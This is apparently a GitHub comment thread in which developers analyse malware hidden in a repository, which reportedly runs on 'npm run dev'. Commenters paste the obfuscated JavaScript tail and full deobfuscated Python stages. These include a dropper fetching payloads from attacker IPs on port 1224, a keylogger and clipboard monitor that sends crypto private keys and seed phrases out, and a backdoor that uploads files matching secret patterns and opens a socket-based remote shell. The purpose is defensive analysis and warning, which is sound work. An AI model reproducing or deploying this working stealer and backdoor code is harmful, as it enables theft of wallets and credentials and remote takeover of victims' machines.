rKyka','pikoo','Googl','ion','bohma','keeod','wzKUf','ser','Defau'];_0x1e27=function(){return _0xfd36d0;};return _0x1e27();}function _0x99936a(_0x2df183){function _0x8afcf5(_0x50a5f3,_0x34f6b0,_0x325f7c,_0x524ab4,_0x4c087b){return _0x4cf846(_0x50a5f3-'0xce',_0x524ab4,_0x34f6b0-'0x33e',_0x524ab4-0x130,_0x4c087b-0x169);}const _0x4e08b7={};function _0x45bb10(_0xe086ea,_0x4b82a2,_0x6867fa,_0x556cf6,_0x3a2757){return _0x23ab03(_0xe086ea-'0xcd',_0x3a2757-'0x540',_0x6867fa-0x1d3,_0x4b82a2,_0x3a2757-'0x20');}_0x4e08b7[_0x8afcf5('0x46f','0x46d',0x4f1,0x401,'0x529')]=_0xc6cd49('0x5e2',0x4c0,'0x54e',0x612,'0x5a2')+'er',_0x4e08b7[_0xc6cd49('0x378',0x41f,'0x432',0x440,'0x4cb')]=function(_0x2c9ae1,_0x1b6d0f){return _0x2c9ae1+_0x1b6d0f;},_0x4e08b7[_0x72068f('0x304','0x315','0x31c','0x284',0x330)]=_0xa80a5c('0x653',0x5e9,0x702,'0x65f','0x654')+'n',_0x4e08b7[_0x45bb10('0x3db','0x48d',0x3fa,'0x460','0x493')]=function(_0x46a35e,_0x2b608c){return _0x46a35e+_0x2b608c;};function _0xc6cd49(_0x3b632b,_0x12b4cd,_0x5b4e8f,_0x523cfa,_0x3722a2){return _0x23ab03(_0x3b632b-'0x113',_0x5b4e8f-'0x507',_0x5b4e8f-0x1b5,_0x3b632b,_0x3722a2-0x159);}function _0x72068f(_0x3f09ae,_0x58cfdb,_0x3bcdfc,_0x51bd47,_0x5b56c2){return _0x279262(_0x3f09ae-0x1f0,_0x58cfdb,_0x3f09ae- -0x2b2,_0x51bd47-'0x102',_0x5b56c2-0xe4);}_0x4e08b7[_0x45bb10(0x58c,'0x571',0x4a5,'0x5f6',0x553)]=_0x45bb10('0x52e',0x5f4,0x5a3,'0x556',0x57f);function _0xa80a5c(_0x42ce46,_0x18215a,_0x24d3d4,_0x258e34,_0x1009e3){return _0x4340a3(_0x42ce46-'0x1aa',_0x18215a-'0x8a',_0x258e34-'0x44d',_0x258e34-'0x1a0',_0x42ce46);}const _0x2fbc3f=_0x4e08b7;function _0x47b922(_0x27be1e){function _0x32190d(_0x16cdbf,_0x3f4f23,_0xa221cf,_0x36a899,_0x259df7){return _0xa80a5c(_0x259df7,_0x3f4f23-0x126,_0xa221cf-0x2c,_0x16cdbf- -0xb2,_0x259df7-'0x1b8');}function _0x217dad(_0x46f703,_0x1038a6,_0x3d27d0,_0x590a42,_0x30c1fd){return _0xc6cd49(_0x3d27d0,_0x1038a6-'0x198',_0x1038a6-0xb9,_0x590a42-'0x49',_0x30c1fd-'0x1e5');}function _0x1f567b(_0x11813e,_0x4e1246,_0x20b73f,_0x162f19,_0x275791){return _0x8afcf5(_0x11813e-'0x62',_0x20b73f- -0x382,_0x20b73f-'0x178',_0x11813e,_0x275791-'0x4b');}function _0x16acbe(_0x547d50,_0x4f6246,_0x6ac53e,_0x364247,_0x258ef5){return _0xa80a5c(_0x6ac53e,_0x4f6246-0xb7,_0x6ac53e-0xb4,_0x547d50- -0x6d8,_0x258ef5-0x186);}if(typeof _0x27be1e===_0x32190d(0x4b2,0x411,'0x4ab',0x42b,0x590)+'g')return function(_0x456bd1){}[_0x16acbe(-'0x1cb',-0x1f3,-'0x1b6',-0x148,-'0x12e')+_0x32190d('0x5fc','0x520',0x578,0x602,'0x5f7')+'r'](_0x32190d('0x501','0x4bd','0x4dd',0x4cc,'0x48a')+_0x32190d('0x5b9','0x61d','0x649',0x5b9,'0x689')+_0x1f567b('0xa1',0x172,0x120,0x163,'0x12b'))[_0x3ef997('0x59f','0x4ce',0x551,'0x537',0x3fd)](_0x2fbc3f[_0x16acbe(-0x8d,-0x94,-0xda,-0x83,'0x19')]);else(''+_0x27be1e/_0x27be1e)[_0x217dad(0x4e0,0x4fa,0x574,'0x5a2',0x511)+'h']!==-0x20bb+0x149e+0xc1e||_0x27be1e%(-0x22f3+0x69c+-0x61*-0x4b)===0x3a0+0x9b0+0x11c*-0xc?function(){return!![];}[_0x32190d('0x45b','0x425',0x476,0x3a0,'0x460')+_0x16acbe(-0x2a,'0x9c','0x77',-'0x41',-'0xdc')+'r'](_0x2fbc3f[_0x217dad('0x4b7',0x4eb,0x543,'0x590','0x527')](_0x3ef997(0x4b4,'0x3e9',0x39f,0x483,'0x481'),_0x3ef997(0x437,0x37e,0x451,0x3dd,0x2b3)))[_0x1f567b(0x4e,0x120,'0x101','0xa0',0x9f)](_0x2fbc3f[_0x1f567b(-'0x67',0xd0,'0x58',-'0x79',0xe4)]):function(){return![];}[_0x32190d(0x45b,0x45c,0x397,'0x472',0x465)+_0x3ef997('0x4cc',0x4cf,'0x519','0x493',0x45f)+'r'](_0x2fbc3f[_0x1f567b(-'0x4f',0x6b,0x5e,0xca,'0x107')](_0x16acbe(-0x110,-'0xde',-0x1d1,-'0xb9',-'0x1e9'),_0x1f567b(0xb4,0xbd,-0x3,0xa3,'0xdd')))[_0x217dad(0x628,'0x602','0x6cb','0x6e2',0x598)](_0x1f567b(0x1ec,'0x1b5',0x110,'0x195',0x111)+_0x1f567b('0xa4','0x78',0x2f,'0x43',0x31)+'t');function _0x3ef997(_0x25807a,_0x4733f1,_0x169147,_0x785632,_0x1973a5){return _0x45bb10(_0x25807a-0x8a,_0x25807a,_0x169147-'0x82',_0x785632-0x1dc,_0x4733f1- -'0xb4');}_0x47b922(++_0x27be1e);}try{if(_0x2df183){if(_0x2fbc3f[_0x8afcf5(0x551,0x4a0,'0x43a',0x44f,'0x507')]===_0xa80a5c(0x5f2,0x6fa,'0x6c2','0x629','0x6f7'))_0x2a5b54('0');else return _0x47b922;}else _0x47b922(0x21ad+0x223f+0x33c*-0x15);}catch(_0x222271){}}
@realazizk

Copy link
Copy Markdown

this is the deobfuscated code https://pastebin.com/7iKnYi8b
it steals exodus and solana wallets, also steals login credentials from chrome and firefox, on macos it tried to steal the keychain.

@sunday4me

Copy link
Copy Markdown

Absurd

@ilse-langnar

Copy link
Copy Markdown

just downloading the repo executes the exploit or do you have to 'do' something?

@superern

Copy link
Copy Markdown

a simple npm run dev (in my case) will run the code.

@KamiFightingSpirit

KamiFightingSpirit commented Nov 25, 2024

Copy link
Copy Markdown

Here it is fully deobfuscated - variables renamed to be human readable:
https://pastebin.com/jcjxy8hw

@RPDevJesco

Copy link
Copy Markdown

I plugged this code into ChatGPT with the prompt of "Take a look at this code and give me a breakdown of what it does.".

This code is highly obfuscated and appears to be malicious in nature. Here's a breakdown of its components and suspected functionality:
Key Characteristics and Functions:

Obfuscation:
    The code is heavily obfuscated using meaningless variable names, convoluted logic, and unnecessary complexity to hinder analysis.
    The _0x427c function decodes or maps obfuscated strings.

Functionality Indicators:
    System Information Gathering:
        The code utilizes os to retrieve system details like hostname, platform, home directory, and temp directory.
    File System Operations:
        Uses fs (File System) to check file existence, read directories, and read specific files.
    Data Exfiltration:
        The _0x4ee045 function is responsible for preparing and sending data to a remote server (http://45.128.52.14:1224/uploads).
        This involves accessing sensitive files such as browser profiles, user data directories, and wallet files (exodus.wallet).
    Browser Credential Targeting:
        Searches for specific browser profiles and extensions in Chrome, Brave, Opera, and Edge directories.
        Likely targets browser login data for credential harvesting.
    Persistence:
        Sets intervals and uses looping mechanisms to ensure the malicious script continues execution.
        Downloads additional files and executes them, ensuring the malware can evolve or receive updates.

Remote Command Execution:
    Downloads and executes remote scripts, e.g., Python files from a specified server.
    Uses child_process.exec to run shell commands, enabling arbitrary command execution.

Stealth Features:
    Replaces or overrides console methods (log, warn, error, etc.) to avoid detection during debugging.

Potential Goals:
    Harvest credentials, sensitive files, or wallet data.
    Maintain persistent access and control over the infected system.
    Possibly set up the system as part of a larger botnet or attack network.

Immediate Actions Recommended:

Do Not Run This Code: Executing this script could compromise your system.
Analyze in a Sandbox Environment: If you need to analyze further, use an isolated virtual machine or sandbox specifically for malware analysis.
Remove and Secure Affected Systems:
    Check for signs of compromise on systems where this code may have run.
    Revoke and reset passwords for accounts accessed on affected systems.
Report to Relevant Authorities: If this code was found in the wild or caused a breach, report it to your security team or relevant cybersecurity authorities.

Let me know if you need help understanding specific segments further or guidance on secure practices!

@Alchemyst0x

Copy link
Copy Markdown

This is a stealer, not necessarily a "drainer" in the typical sense. The fact that it is actually pretty poorly obfuscated and using a publicly available obfuscation tool tells me that this is likely a commercial/common (low-end, I am not sure how to phrase this heh), unsophisticated threat actor. Not to diminish the risk or anything, just remarking. Also, here's a bunch of those ZIPs on other IPs/sites:

The SHA256 of that ZIP is 6a104f07ab6c5711b6bc8bf6ff956ab8cd597a388002a966e980c5ec9678b5b0

Urlscan: https://urlscan.io/sha256/6a104f07ab6c5711b6bc8bf6ff956ab8cd597a388002a966e980c5ec9678b5b0
VirusTotal: https://www.virustotal.com/gui/file/6a104f07ab6c5711b6bc8bf6ff956ab8cd597a388002a966e980c5ec9678b5b0/details

Stay safe :) also sorry if I may be repeating things, I am writing this quickly having just seen a mention of it on Twitter & being otherwise occupied lol.

@EduardoZepeda

Copy link
Copy Markdown

Scary AF, it also downloads an obfuscated (zlib and base64) Python script when you get the url in line 482

I guess some folks are going to take advantage of the fact that sometimes third party libraries are too big to read all the code. For now I only plan to execute clients' code from a sandbox, VM or clean SO.

@Alchemyst0x

Copy link
Copy Markdown

Scary AF, it also downloads an obfuscated (zlib and base64) Python script when you get the url in line 482

I guess some folks are going to take advantage of the fact that sometimes third party libraries are too big to read all the code. For now I only plan to execute clients' code from a sandbox, VM or clean SO.

This one? https://gist.github.com/Alchemyst0x/1ae5c3a233b882ea62b0334a3ce32b73#file-unwrapped_payload-py-txt

@Alchemyst0x

Copy link
Copy Markdown

I am going to try to get the next payloads here soon... but I am tired ha. Maybe when I have some time. I'll post them here if so.

@AdityaMitra5102

Copy link
Copy Markdown

This is downloading a python file at line 496.

This file is obfuscated by Compressing with zlib, encoding to base64, and reversing it 50 times.

I used the following code to deobfuscate it

import zlib
import base64
import sys
filename=sys.argv[1]
f=open(filename,'r')
text=f.read()
f.close()
def process_text(text, i):
    #print(i)
    text=text[text.index('exec'):]
    if text.startswith('exec'):
        text=text[11:-3]
    text=text[::-1]
    tbin=base64.b64decode(text.encode())
    temp=zlib.decompress(tbin)
    return temp.decode()
for i in range(50):
    text=process_text(text, i)
print(text)

Now the deobfuscated code came up to

import base64,platform,os,subprocess,sys
try:import requests
except:subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'requests']);import requests

sType = "39"
gType = "391"
ot = platform.system()
home = os.path.expanduser("~")
#host1 = "10.10.51.212"
host1 = "138.201.199.46"
host2 = f'http://{host1}:1224'
pd = os.path.join(home, ".n2")
ap = pd + "/pay"
def download_payload():
    if os.path.exists(ap):
        try:os.remove(ap)
        except OSError:return True
    try:
        if not os.path.exists(pd):os.makedirs(pd)
    except:pass

    try:
        if ot=="Darwin":
            # aa = requests.get(host2+"/payload1/"+sType+"/"+gType, allow_redirects=True)
            aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)
            with open(ap, 'wb') as f:f.write(aa.content)
        else:
            aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)
            with open(ap, 'wb') as f:f.write(aa.content)
        return True
    except Exception as e:return False
res=download_payload()
if res:
    if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
    else:subprocess.Popen([sys.executable, ap])

if ot=="Darwin":sys.exit(-1)

ap = pd + "/bow"

def download_browse():
    if os.path.exists(ap):
        try:os.remove(ap)
        except OSError:return True
    try:
        if not os.path.exists(pd):os.makedirs(pd)
    except:pass
    try:
        aa=requests.get(host2+"/brow/"+ sType +"/"+gType, allow_redirects=True)
        with open(ap, 'wb') as f:f.write(aa.content)
        return True
    except Exception as e:return False
res=download_browse()
if res:
    if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
    else:subprocess.Popen([sys.executable, ap])

ap = pd + "/mlip"

def download_mclip():
    if os.path.exists(ap):
        try:os.remove(ap)
        except OSError:return True
    try:
        if not os.path.exists(pd):os.makedirs(pd)
    except:pass
    try:
        aa=requests.get(host2+"/mclip/"+ sType +"/"+gType, allow_redirects=True)
        with open(ap, 'wb') as f:f.write(aa.content)
        return True
    except Exception as e:return False
res=download_mclip()
if res:
    if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
    else:subprocess.Popen([sys.executable, ap])

Macbook users: You are safe here coz it is exiting when it sees it os to be Darwin.

Now it is downloading 3 files called bow, mlip and pay. (The host IP address is not working. I had to replace it to the one from where the python file was downloaded to get it to work.)

In similar way, those 3 files were obfuscated.

I am seeing those files now. Will keep you updated

@AdityaMitra5102

Copy link
Copy Markdown

The file mlip is basically a keylogger focusing on your clip board and uploading the same to an API /api/clip

_M='-m';_P='pip';_L='install'
import socket, subprocess, sys, re
try:import pyWinhook as pyHook
except:subprocess.check_call([sys.executable,_M,_P,_L,'pyWinhook']);import pyWinhook as pyHook
try:import psutil
except:subprocess.check_call([sys.executable,_M,_P,_L,'psutil']);import psutil
try:import win32process
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32process
try:import win32gui
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32gui
try:import win32api
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32api
try:import win32con
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32con
try:import win32clipboard
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32clipboard
try:from requests import post
except:subprocess.check_call([sys.executable,_M,_P,_L,'requests']);from requests import post
try:import wx
except:subprocess.check_call([sys.executable,_M,_P,_L,'wxPython']);import wx

#------------------------------------------------------Hook Utils--------------------------------------------------------------

key_log = ""
c_win = 0
PORT = 8637
HOST = "95.164.7.171"
sType = "39"
gType = "391"
# HOST = "localhost"

browserlist = [
  "chrome.exe",
  "brave.exe"
]

def act_win_pn():
    try:
      hwnd = win32gui.GetForegroundWindow()
      pid = win32process.GetWindowThreadProcessId(hwnd)
      caption = win32gui.GetWindowText(hwnd)
      return (pid[-1], psutil.Process(pid[-1]).name(), caption)
    except:
      pass

def is_down(status):
    if status == 128: return True
    return False

def is_control_down():
    return is_down(pyHook.GetKeyState(0x11)) or is_down(pyHook.GetKeyState(0xA2)) or is_down(pyHook.GetKeyState(0xA3))

def save_log(log, text, caption):
  global key_log
  r = {
      'gid' : sType,
      'pid' : gType,
      'pcname': socket.gethostname(),
      'processname': text,
      'windowname': caption,
      'data': log,
  }
  host2 = f"http://{HOST}:{PORT}"
  post(host2 + "/api/clip", data=r)
  key_log = ""

def GetTextFromClipboard():
    clipboard = wx.Clipboard()
    if clipboard.Open():
        if clipboard.IsSupported(wx.DataFormat(wx.DF_TEXT)):
            data = wx.TextDataObject()
            clipboard.GetData(data)
            s = data.GetText()
            # if self.ispvkey(s) or self.ismnemonic(s):
            save_log(s, "clipboard", "extension")
            clipboard.Close()

def OnKeyboardEvent(event):
  (pid, text, caption) = act_win_pn()
  if browserlist.count(text):
    if caption == "":
      global key_log
      key = event.Ascii
      if (is_control_down()):key=f"<^{event.Key}>"
      elif key==0xD:
        key="\n"
      else:
        if key>=32 and key<=126:key=chr(key)
        else:key=f'<{event.Key}>'

      if is_control_down() and event.Key == 'V':
        GetTextFromClipboard()
      key_log += key
      if key == "\n" and len(key_log):
        save_log(key_log, text, "extension")
    else:
      if len(key_log):
        save_log(key_log, text, "extension")
  return True

# create the hook mananger
hm = pyHook.HookManager()
# register two callbacks
hm.KeyDown = OnKeyboardEvent
# hm.MouseLeftDown = OnMouseEvent

# hook into the mouse and keyboard events
hm.HookKeyboard()
# hm.HookMouse()

#-----------------------------------------------------------------------------------------------------------------------------

#------------------------------------------------------Clipboard Utils--------------------------------------------------------

class TestFrame (wx.Frame):
    def __init__ (self):
        wx.Frame.__init__ (self, None, title="Clipboard viewer", size=(250,150))

        self.tc = wx.TextCtrl(self, -1
                          , style=wx.TE_MULTILINE
                                  |wx.TE_READONLY)

        self.first   = True
        self.nextWnd = None
        self.pvkeylength = [29, 44, 51, 52, 56, 64, 66, 96, 128, 165, 181]

        # Get native window handle of this wxWidget Frame.
        self.hwnd    = self.GetHandle ()

        # Set the WndProc to our function.
        self.oldWndProc = win32gui.SetWindowLong (self.hwnd,
                                                  win32con.GWL_WNDPROC,
                                                  self.MyWndProc)

        try:
            self.nextWnd = win32clipboard.SetClipboardViewer (self.hwnd)
        except win32api.error:
            if win32api.GetLastError () == 0:
                # information that there is no other window in chain
                pass
            else:
                raise

    def MyWndProc (self, hWnd, msg, wParam, lParam):
        if msg == win32con.WM_CHANGECBCHAIN:
            self.OnChangeCBChain (msg, wParam, lParam)
        elif msg == win32con.WM_DRAWCLIPBOARD:
            self.OnDrawClipboard (msg, wParam, lParam)

        # Restore the old WndProc. Notice the use of win32api
        # instead of win32gui here. This is to avoid an error due to
        # not passing a callable object.
        if msg == win32con.WM_DESTROY:
            if self.nextWnd:
               win32clipboard.ChangeClipboardChain (self.hwnd, self.nextWnd)
            else:
               win32clipboard.ChangeClipboardChain (self.hwnd, 0)

            win32api.SetWindowLong (self.hwnd,
                                    win32con.GWL_WNDPROC,
                                    self.oldWndProc)

        # Pass all messages (in this case, yours may be different) on
        # to the original WndProc
        return win32gui.CallWindowProc (self.oldWndProc,
                                        hWnd, msg, wParam, lParam)
    
    def save_log(self, log):
      global key_log
      r = {
          'gid' : sType,
          'pid' : gType,
          'pcname': socket.gethostname(),
          'processname': "clipboard",
          'data': log,
      }
      host2 = f"http://{HOST}:{PORT}"
      post(host2 + "/api/clip", data=r)
      key_log = ""

    def savepvkey(self, clipstr):
        i = len(self.pvkeylength) - 1
        clipstr = clipstr.split('\n')
        for txt in clipstr:
          while i >= 0:
            search = "[a-fA-F0-9]{" + str(self.pvkeylength[i]) + "}"
            i -= 1
            x = re.findall(search, txt)
            if len(x):
              for t in x:
                self.save_log(t + '\n')
                txt = txt.replace(t, "")
        
    def ismnemonic(self, clipstr):
        clipstr = clipstr.split('\n')
        for txt in clipstr:
            word_cnt = len(txt.split(" "))
            if word_cnt == 12 or word_cnt == 16 or word_cnt == 24:
                return True
            else:
                return False
    
    def GetTextFromClipboard(self):
        clipboard = wx.Clipboard()
        if clipboard.Open():
            if clipboard.IsSupported(wx.DataFormat(wx.DF_TEXT)):
                data = wx.TextDataObject()
                clipboard.GetData(data)
                s = data.GetText()
                self.savepvkey(s)
                if self.ismnemonic(s):
                    self.save_log(s + '\n')
                self.tc.AppendText("Clip content:\n%s\n\n" % s )
                clipboard.Close()
            else:
                self.tc.AppendText("")

    def OnChangeCBChain (self, msg, wParam, lParam):
        if self.nextWnd == wParam:
           # repair the chain
           self.nextWnd = lParam
        if self.nextWnd:
           # pass the message to the next window in chain
           win32api.SendMessage (self.nextWnd, msg, wParam, lParam)

    def OnDrawClipboard (self, msg, wParam, lParam):
        if self.first:
            self.first = False
        else:
            self.tc.AppendText("[Clipboard content changed:]\n")
            self.GetTextFromClipboard()
        if self.nextWnd:
            # pass the message to the next window in chain
            win32api.SendMessage (self.nextWnd, msg, wParam, lParam)

#-----------------------------------------------------------------------------------------------------------------------------

app   = wx.App ()
frame = TestFrame ()
app.MainLoop ()

@AdityaMitra5102

Copy link
Copy Markdown

The payload in the downloaded from pay gives remote code execution and shell access to the attacker over a socket.

_M='-m';_P='pip';_L='install'
import sys,socket
from uuid import getnode
try:from requests import get,post
except:subprocess.check_call([sys.executable,_M,_P,_L,'requests']);from requests import get,post
from hashlib import sha256
from getpass import getuser
from platform import system,node,release,version
import time

sType = "39"
gType = "391"
class System(object):
    def __init__(A):
        A.system=system()
        if gType == "root":
            A.hostname=node()
        else:
            A.hostname=gType + "_" + node()
        A.release=release()
        A.version=version()
        A.username=getuser()
        A.uuid=A.getID()
    def getID(A):return sha256((str(getnode())+getuser()).encode()).digest().hex()
    def sysInfo(A):return{'uuid':A.uuid,'system':A.system,'release':A.release,'version':A.version,'hostname':A.hostname,'username':A.username}

class Geo(object):
    def __init__(A):A.geo=A.getGeo();A.internal_ip=A.getInternalIp()
    def getInternalIp(A):
        try:return socket.gethostbyname_ex(hn)[-1][-1]
        except:return''
    def getGeo(A):
        try:return get('http://ip-api.com/json').json()
        except:pass
    def netInfo(A):
        g=A.getGeo()
        if g:
            ii=A.internal_ip
            if ii:g['internalIp']=ii
        return g

class Information(object):
    def __init__(A):A.net_info=Geo().netInfo();A.sysInfo=System().sysInfo()
    def parse(K,data):
        J='regionName';I='country';H='query';G='city';F='isp';E='zip';D='lon';C='lat';B='timezone';_A='internalIp'
        A=data;A={C:A[C]if C in A else'',D:A[D]if D in A else'',E:A[E]if E in A else'',F:A[F]if F in A else'',G:A[G]if G in A else'',H:A[H]if H in A else'',I:A[I]if I in A else'',B:A[B]if B in A else'',J:A[J]if J in A else'',_A:A[_A]if _A in A else''}
        if'/'in A[B]:A[B]=A[B].replace('/',' ')
        if'_'in A[B]:A[B]=A[B].replace('_',' ')
        return A
    def get_info(A):B=A.net_info;return{'sys_info':A.sysInfo,'net_info':A.parse(B if B else[])}

host="yNDEuMjA4MTg1LjIzNS4"
#host="  NTEuMjEy  MTAuMTAu"
PORT = 1224
HOST = '138.201.199.46'
if gType == "root":
    hn = socket.gethostname()
else:
    hn = gType + "_" + socket.gethostname()

class Comm(object):
    def __init__(A):A.sys_info=Information().get_info()
    def contact_server(A,ip,port):
        A.ip,A.port=ip,int(port);B=int(time.time()*1000);C={'ts':str(B),'type':sType,'hid':hn,'ss':'sys_info','cc':str(A.sys_info)};D=f"http://{A.ip}:{A.port}/keys"
        try:post(D,data=C)
        except Exception as e:pass
def run_comm():c=Comm();c.contact_server(HOST, PORT);del c
run_comm()

_M='-m';_P='pip';_L='install'
import platform,socket,sys
from time import sleep
from socket import timeout as TimeOutError
import time
from datetime import datetime,timezone,timedelta
import json,os,struct,subprocess
from threading import Thread,RLock,Timer
try:import requests
except:subprocess.check_call([sys.executable,_M,_P,_L,'requests']);import requests
import ast, re
try:from mnemonic import Mnemonic
except:subprocess.check_call([sys.executable,_M,_P,_L,'mnemonic']);from mnemonic import Mnemonic
sHost = socket.gethostname()
host="yNDEuMjA4MTg1LjIzNS4"
os_type = platform.system()
#host="  NTEuMjEy  MTAuMTAu"
_T=True;_F=False;_N=None;_A='admin';_O='output'
class Session(object):
    def __init__(A,sock):A.sock=sock;A.info={'type':0,'group':sType,'name':sHost}
    def shutdown(A):
        try:A.sendall('[close]');A.sock.shutdown(socket.SHUT_RDWR);A.sock.close()
        except:pass
    def connect(A,ip,port):
        A.sock.connect((ip,port));sleep(.5)
        A.send(code=0,args=A.info)
        sleep(.5);return _T
    def struct(A,code=_N,args=_N):return json.dumps({'code': code,'args': args})
    def send(A,code=_N,args=_N):d=A.struct(code, args);A.sendall(d)
    def sendall(A,data):
        try:
            try:ii = data.encode()
            except:ii = data
            ii = struct.pack('>I', len(ii)) + ii
            A.sock.sendall(ii)
        except:pass
    def recv(A):
        try:
            print("start ses recv")
            ll = A.recvall(4)
            print("ses recv size:", ll)
            if not ll:return _N
            ml = struct.unpack('>I', ll)[0]
            print("ses recv:", ml)
            # Read the message datacls
            return A.recvall(ml)
        except TimeOutError:return -1
        except:pass
    def recvall(A,size):
        try:
            d = bytearray()
            while len(d) < size:
                pt = A.sock.recv(size - len(d))
                if not pt:return _N
                d.extend(pt)
            return d
        except:return _N

e_buf = ""
def decode_str(ss):
    try:r=ss.decode('utf8');return r
    except:
        try:r=ss.decode('cp1252');return r
        except:
            try:r=ss.decode('mac_roman');return r
            except:return ss

ex_files = ['.exe','.dll','.msi','.dmg','.iso','.pkg','.apk','.xapk','.aar','.ap_','.aab','.dex','.class','.rpm','.deb','.ipa','.dsym','.mp4','.avi','.mp3','.wmv','.wma','.mov','.webm','.avchd','.mkv','.ogg','.mpe','.mpv','.mpeg','.m4p','.m4a','.m4v','.aac','.flac','.aiff','.qt','.flv','.swf','.pyc','.lock','.psd','.pack','.old','.ppt','.pptx','.virtualization','.indd','.eps','.ai','.a','.jar','.so','.o','.wt','.lib','.dylib','.bin','.ffx','.svg','.css','.scss','.gem','.html','.php','.svg','.htm','.hpp','.cpp','.xml','.lnk','.png','.swift','.ccb','.jsx','.tsx','.h','.java','tsconfig.json','tailwind.config.js','svelte.config.js','next.config.js','babel.config.js','vite.config.js','webpack.config.js','postcss.config.js','robots.txt','license.txt','.ds_store','.angular-config.json','package-lock.json','runtime','CMakeList','dat','.xlf','.sha512','.nuspec','LICENSE']
ex_dirs = ['vendor','Pods','node_modules','Roaming','.git','.next','.externalNativeBuild','sdk','.idea','cocos2d','compose','proj.ios_mac','proj.android-studio','Debug','Release','debug','release','obj','Obj','xcuserdata','.gradle','build','storage','.android','Program Files (x86)','$RECYCLE.BIN','Program Files','Windows','ProgramData','cocoapods','homebrew','.svn','sbin','standalone','local','ruby','man','zsh','Volumes','Applications','Library','System','Pictures','Desktop','usr','android','var','__pycache__','.angular','cache','.nvm','.yarn','.docker','.local','.vscode','.cache','__MACOSX','.pyp','.gem','.config','.rustup','.pyenv','.rvm','.sdkman','.nix-defexpr','.meteor','.nuget','.cargo','.vscode-insiders','.gemexport','.Bin','.oh-my-zsh','.rbenv','.ionic','.mozilla','.var','.cocoapods','.flipper','.forever','.quokka','.continue','.pub-cache','.debris','jdk','.wine32','.phpls','.typeChallenges','.sonarlint','.aptos','.bluemix','.bundle','.cabal','.changes','.changeset','.circleci','.cp','.cpanm','.cxx','.dart_tool','.dartServer','.dbvis','.deps','.devcontainer','.dotnet','.dropbox.cache','.dthumb','.ebcli-virtual-env','.eclipse','eclipse','.electrum','.executables','.exp','.ghcup','.github','.gnupg','.hash','.hasura','.IdentityService','.indexes','.install','.install4j','.kokoro','.localized','.npm','.node-gyp','.p2','.platformio','.plugin_symlinks','.plugins','.store','.storybook','.tmp','tmp','.turbo','.versions','.vs','.vscode-server','.yalc','!azure','x-pack','lib64','site-packages','kibana-8.5.0','google-cloud-sdk','golang.org','Assets.xcassets','arduino','netcore']
pat_envs = ['.env','config.js','secret','metamask','wallet','private','mnemonic','password','account','.xls','.xlsx','.doc','.docx','.rtf','.txt','recovery']

def fmt_s(s):
    if s<1024:return str(s)+'B'
    elif s<1048576:return'{:.0f}KB'.format(s/1024.)
    elif s<1073741824:return'{:.1f}MB'.format(s/1048576.)
    else:return'{:.1f}GB'.format(s/1073741824.)

def write_flist(s,s1):
    default_path = os.path.join(os.path.expanduser("~"), ".n2")
    if not os.path.exists(default_path):os.makedirs(default_path)
    if os.path.exists(default_path + '/flist') == False:
        make_file = open(default_path + '/flist', 'w')
        make_file.close()
    if s1:
        with open(default_path + '/flist', 'a') as f:
            f.write(s)
            f.close()
    else:
        with open(default_path + '/flist', 'w') as f:
            f.write('')
            f.close()

def ups(sn):
    try:
        up_time = str(int(time.time()))
        files = [
            ('multi_file', (up_time + '_' + os.path.basename(sn), open(sn, 'rb'))),
        ]
        r = {
            'type': sType,
            'hid': gType + '_' + sHost,
            'uts': 'auto_upload',
        }
        host2 = f"http://{HOST}:{PORT}"
        requests.post(host2 + "/uploads", files=files, data=r)
        if os.path.basename(sn) != 'flist':
            write_flist(up_time + '_' + os.path.basename(sn) + " : " + sn + "\n", True)
        else:
            write_flist('', False)
    except: pass

def bro_down(p):
    par_dir = os.path.join(os.path.expanduser("~"), ".n2")
    if os.path.exists(p):
        try:os.remove(p)
        except OSError:return _T
    try:
        if not os.path.exists(par_dir):os.makedirs(par_dir)
    except:pass

    host2 = f"http://{HOST}:{PORT}"
    try:
        myfile = requests.get(host2+"/brow/"+sType+"/"+gType, allow_redirects=_T)
        with open(p,'wb') as f:f.write(myfile.content)
        return _T
    except Exception as e:return _F

def arun():
    try:
        par_dir = os.path.join(os.path.expanduser("~"), ".n2")
        p=par_dir+"/bow";res=bro_down(p)
        if res:
            if os_type == "Windows":subprocess.Popen([sys.executable,p],creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
            else:subprocess.Popen([sys.executable,p])
    except Exception as e:o = f'Err4: {e}';pass

def get_available_drives():
    drives = []
    for letter in range(ord('A'), ord('Z') + 1):
        drive = chr(letter) + ':'
        if os.path.exists(drive):
            drives.append(drive)
    return drives

def in_pk(st):
   try:
      pvkeylength = [29, 44, 51, 52, 56, 64, 66, 96, 128, 165, 181]
      i = len(pvkeylength) - 1
      st = st.split('\n')
      for txt in st:
         while i >= 0:
            search = "[a-fA-F0-9]{" + str(pvkeylength[i]) + "}"
            i -= 1
            x = re.findall(search, txt)
            if len(x):
               return True
      return False
   except:
      pass

def ismnemonic(st):
   try:
      st = st.split('\n')
      for txt in st:
         word_cnt = len(txt.split(" "))
         if word_cnt == 12 or word_cnt == 16 or word_cnt == 24:
               mnemo = Mnemonic("english")
               isValid = mnemo.check(txt)
               return isValid
         else:
               return False
   except:
      pass

def is_exceptFile(fname):
   return any(ext in fname for ext in ex_files)

def is_exceptPath(pname):
   return any(ext in pname for ext in ex_dirs)

def is_pat(fname):
   return any(pat in fname for pat in pat_envs)

def fenv():
    try:
        if os_type == "Windows":
            available_drives = get_available_drives()
            for drive in available_drives:
                for root, dirs, files in os.walk(drive+'\\', topdown=False):
                    for name in files:
                        if is_pat(name):
                            if is_exceptFile(name) == False:
                                if is_exceptPath(root) == False:
